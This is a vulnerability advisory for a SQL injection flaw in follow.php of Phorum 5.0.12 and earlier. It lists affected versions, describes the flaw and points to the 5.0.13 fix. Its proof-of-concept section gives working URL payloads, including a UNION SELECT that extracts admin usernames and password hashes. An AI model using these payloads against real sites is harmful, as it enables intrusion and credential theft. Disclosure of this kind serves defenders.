Phorum FOLLOW.PHP SQL Injection Vulnerability
BID:11660
Info
Phorum FOLLOW.PHP SQL Injection Vulnerability
| Bugtraq ID: | 11660 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 11 2004 12:00AM |
| Updated: | Nov 11 2004 12:00AM |
| Credit: | Janek Vind <[email protected]> disclosed this vulnerability. |
| Vulnerable: |
Phorum Phorum 5.0.12 Phorum Phorum 5.0.11 Phorum Phorum 5.0.10 Phorum Phorum 5.0.9 Phorum Phorum 5.0.7 BETA Phorum Phorum 5.0.3 BETA |
| Not Vulnerable: |
Phorum Phorum 5.0.13 |
Discussion
Phorum FOLLOW.PHP SQL Injection Vulnerability
Reportedly Phorum is affected by a remote SQL injection vulnerability. This issue is due to a failure of the application to properly sanitized user supplied URI input.
This issue allows remote attackers to manipulate query logic, leading to unauthorized access to sensitive information such as the user password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
This issue has been reported to affected versions prior to 5.0.13.
Reportedly Phorum is affected by a remote SQL injection vulnerability. This issue is due to a failure of the application to properly sanitized user supplied URI input.
This issue allows remote attackers to manipulate query logic, leading to unauthorized access to sensitive information such as the user password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
This issue has been reported to affected versions prior to 5.0.13.
Exploit / POC
Phorum FOLLOW.PHP SQL Injection Vulnerability
Examples sufficient to exploit this vulnerability have been provided:
http://www.example.com/phorum5012/follow.php?forum_id=1&,f00=bar,1=waraxe
http://www.example.com/phorum5012/follow.php?forum_id=1&thread=waraxe
http://www.example.com/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1
Examples sufficient to exploit this vulnerability have been provided:
http://www.example.com/phorum5012/follow.php?forum_id=1&,f00=bar,1=waraxe
http://www.example.com/phorum5012/follow.php?forum_id=1&thread=waraxe
http://www.example.com/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1
Solution / Fix
Phorum FOLLOW.PHP SQL Injection Vulnerability
Solution:
The vendor has released version 5.0.13 of the affected package to resolve this issue:
Phorum Phorum 5.0.10
Phorum Phorum 5.0.11
Phorum Phorum 5.0.12
Phorum Phorum 5.0.3 BETA
Phorum Phorum 5.0.7 BETA
Phorum Phorum 5.0.9
Solution:
The vendor has released version 5.0.13 of the affected package to resolve this issue:
Phorum Phorum 5.0.10
-
Phorum phorum-5.0.13.tar.gz
http://phorum.org/downloads/phorum-5.0.13.tar.gz
Phorum Phorum 5.0.11
-
Phorum phorum-5.0.13.tar.gz
http://phorum.org/downloads/phorum-5.0.13.tar.gz
Phorum Phorum 5.0.12
-
Phorum phorum-5.0.13.tar.gz
http://phorum.org/downloads/phorum-5.0.13.tar.gz
Phorum Phorum 5.0.3 BETA
-
Phorum phorum-5.0.13.tar.gz
http://phorum.org/downloads/phorum-5.0.13.tar.gz
Phorum Phorum 5.0.7 BETA
-
Phorum phorum-5.0.13.tar.gz
http://phorum.org/downloads/phorum-5.0.13.tar.gz
Phorum Phorum 5.0.9
-
Phorum phorum-5.0.13.tar.gz
http://phorum.org/downloads/phorum-5.0.13.tar.gz
References
Phorum FOLLOW.PHP SQL Injection Vulnerability
References:
References:
- Phorum 5.0.13 Released (Phorum)
- Phorum Homepage (Phorum)
- [waraxe-2004-SA#037 - Sql injection bug in Phorum 5.0.12 and older versions] (Janek Vind
)